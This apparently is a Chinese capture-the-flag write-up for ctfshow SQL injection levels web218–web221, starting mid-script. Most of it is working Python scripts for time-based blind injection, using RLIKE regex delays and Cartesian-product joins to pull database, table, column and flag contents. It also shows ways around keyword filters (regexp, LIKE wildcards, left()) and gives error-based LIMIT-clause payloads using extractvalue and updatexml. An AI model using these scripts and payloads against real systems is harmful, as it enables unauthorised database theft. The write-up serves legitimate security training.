delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"

for j in range(1, 50):
    for k in dic:
        sleep(0.2)  # 遍历每个字符前延时0.2s
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"}  # 跑flag
        try:
            re = requests.post(url, data=payload)
            if re.elapsed.total_seconds() > 0.8:
                out += k
                break
        except:
            out += k
            break
    print(out)
    sleep(1)  # 猜对一个字符延时1s

web219

查询语句
       where id = ($id);      
返回逻辑
    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike/i',$str);
    }         

rlike被过滤了,可以用regexp代替,只需要将上题脚本中的rlike替换成regexp即可

这里了解一下笛卡尔积的解法

笛卡尔积(因为连接表是一个很耗时的操作)

AxB=A和B中每个元素的组合所组成的集合,就是连接表

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

这里以逗号连接,abcd可以一直写下去,写得越多查询的速度就越慢,造成的时延也越大,如果表、列数量少,则可以多写一些元素,把时延拉长些

这里需要手测一下延迟,环境不同延迟也有差异,这里连接三个元素题目就炸缸了我,我的环境大概是0.3s的时延

# @author:Myon
# @time:20240814
import requests
import string

url = 'http://af0a2faf-1b8e-4da9-90b7-c49dbaf3eabd.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 0.31:
            out += k
            break
    print(out)

web220

查询语句
       where id = ($id);      
返回逻辑
    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
    }        

这一次用到的脚本,利用%作为通配符来爆破,避免使用ascii

# @author:Myon
# @time:20240814
import requests
import string

url = 'http://3bf69c20-538d-473d-a4da-93a2b23588a1.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        # payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
        payload = {'debug': '1',
                   'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 0.31:
            out += k
            break
    print(out)

其实还可以用leftrightrpadlpad之类的来代替substr

import string

import requests

url = "http://dfc9fcfa-4a13-413b-87c6-14c1b4355565.challenge.ctf.show/api/"

# payload = "1) or if((left((select database()),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{0})='{1}'),{2},0)-- +"
payload = "1) or if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{0})='{1}'),{2},0)-- +"
bypass = """(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"""
uuid = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp,"
flag = ''
i = 1
while 1:
    for j in uuid:
        flag += j
        payload1 = payload.format(i, flag, bypass)
        # print(payload1)
        data = {
            'ip': payload1,
            'debug': '1'
        }
        try:
            r = requests.post(url, data=data, timeout=3)
            flag = flag[:-1]
        except Exception as e:
            print(flag)
            i += 1

笛卡尔积调超时时间也太难受了吧

web221

查询语句
  //分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;    
返回逻辑
//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

关于limit注入,P神有文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

Payload:

?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
# 提取表结构
# 高亮处字符不满足xpath格式即可 0x23-># 也是可以的
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)

从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml;extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容;用法上 extractvalue 与 updatexml 的区别:updatexml 使用三个参数,extractvalue 只有两个参数。

ExtractValue()
ExtractValue() 是 MySQL 中的一个函数,用于从 XML 文档中提取值。
语法:
sql
ExtractValue(xml_fragment, xpath_expression)xml_fragment:这是一个 XML 格式的字符串片段。
xpath_expression:XPath 表达式,指定要提取的路径。
UpdateXML()
UpdateXML() 是 MySQL 中的一个函数,用于更新 XML 文档中的特定节点。
语法:
sql
UpdateXML(xml_document, xpath_string, new_value)
xml_document:一个 XML 格式的字符串文档。
xpath_string:XPath 表达式,指定要更新的节点位置。
new_value:新的值,将替换匹配到的节点内容。

UpdateXML打也可

/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)

最后

sql专题后面的暂且搁置了,也许会在某一天心血来潮打完补上,咕咕咕

评论